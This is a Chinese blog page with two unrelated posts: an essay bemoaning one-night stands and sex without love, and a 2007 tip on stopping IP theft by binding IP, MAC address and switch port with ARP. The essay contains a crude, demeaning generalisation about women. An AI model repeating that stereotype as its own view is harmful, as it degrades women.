| 如今这个社会节奏快的惊人,每天都有新事物和新理念出现,每个人也不负当初上帝造人所为,聪明的学什么都快.所以大部分人还是能适应这个社会的. 前几年我听到一夜情还是从字面理解什么意思.在逐渐接触社会的同时,发现当初的理解多么可笑.现在社会是个物质泛滥的社会,人们在逐渐的向上层社会爬的同时也丢弃了自己的情感.在如今这样的社会谈感情,对大多数人来说是浪费感情.我想说的是:在如今这个年代,到底是多少人做爱是为了爱才去做的? "做爱"是一个敏感又那么那么流行的词.现在没有结婚的情侣同居的比比皆是,同居我们追求的是什么?真的是为增强爱人之间的感情的吗?真的是为了见证或证明爱人之间的爱的伟大吗?我想是错的,到最后彼此都不会明白做爱是为什么.也许到两人分手时也就只有一种合理解释是,做爱,做了忘记了怎么去爱了.. 没有性的爱,男人不要,没有爱的性,女人不要。也许这个社会真的如此吧 如今是一夜情泛滥的社会,一夜情之所以产生的原因到底是什么?没有做爱之前总归是好话说尽,甜言蜜语说到嘴巴失去味觉,而做完之后就当什么事情都没有发生了,真的好笑。如果说不做爱似乎那份“爱”可以维持的久一些,更久也更能让人回味,人都有这个心里就是得不到东西永远是最好的. 每一段感情开始的时候,谁敢说他们不是因为爱才走一起的,然后爱的死去活来.承诺~誓言接踵而来,什么爱到海枯石烂~什么之死不如。到最终都是成为分手时的笑柄。爱是为了什么,也许只有上帝知道。 当我们从一个对性爱不懂的小孩子,变成一个可以正大光明谈性爱的人时,我们真的学会了做爱。是的,学会了做爱,知道了怎么样去做爱,也知道了在爱情里性所占的一个份量。可是我们在学会做爱的同时,却忘记了如何去爱,却不懂得如何去爱了,多么可怕的事情。做爱是什么,难道做爱就真的可以验证爱吗?恐怕不是吧,这只是一种空虚时慰藉自己的一种渴望。做爱,做完了就不爱了。做爱,学会了,却不懂得如何去爱了。 我们要说最可怜的还算是女人,女人真的蛮可怜的。既要在别人面前装纯洁,又要要床上做婊子。一边大声的宣扬开放主义,又要暗自夹紧自己的双腿,累吗?现在到底有多少性与爱情有关?当一夜情泛滥的时候,我们都看到了都市所流行的一种空虚。因为寂寞了,因为新鲜了,也因为矛盾,因为迷茫,因为挣扎,因为冲动,因为太多太多的原因。性离我们近了,而爱离我们远了。到底是爱成全了性,还是性远离了爱? 在如今这样的的社会,我们追求的爱是什么样的?谁也无法真真切切说个明白,也许在追求的爱情的同时我们已经也迷失了自我. |
捆绑网卡:防止别人盗用你IP上网
2007-12-21 23:46
| 如果别人更改了MAC地址,就有可能成功盗用你的上网账号。为了阻止盗用IP上网,网管应该采取以下的对策: 1. 将用户的IP与MAC地址捆绑起来 网管在交换机和路由器上配置,或者进入“MS-DOS方式”,在命令提示符下输入命令:ARP -S 202.201.101.01 00-01-02-03-04-05,即可把MAC地址(00-01-02-03-04-05)和IP地址(202.201.101.01)捆绑在一起。 注意:ARP命令仅对局域网的上网代理服务器有用,而且是针对静态IP地址,如果采用Modem拨号上网或是动态IP地址就不起作用了。 2. IP-MAC-PORT三者绑定 以上IP和MAC绑定的方法,并不能真正解决IP盗用问题,其实最有效的解决方法就是在IP、MAC绑定的基础上,再把端口(PORT)绑定进去,即IP-MAC-PORT三者绑定在一起。 操作步骤:在布线的时候,建议每个交换机端口只连接一台主机,网管应该把用户墙上的接线盒和交换机的端口一一对应,并做好登记工作;然后把用户交上来的MAC地址填入对应的交换机端口;进而再和IP一起绑定,达到IP-MAC-PORT的三者绑定。这样一来,即使盗用者拥有这个IP对应的MAC地址,但是由于不可能同样拥有墙上的端口,因此可以防止盗用IP上网。除此之外,网管还可以采用其他方法防止盗用IP上网,例如配置交换机的VLAN、使用用户认证等等,由于篇幅所限,这里就不再展开了。 http://softbbs.pconline.com.cn/topic.jsp?tid=7985555?ad=1266 |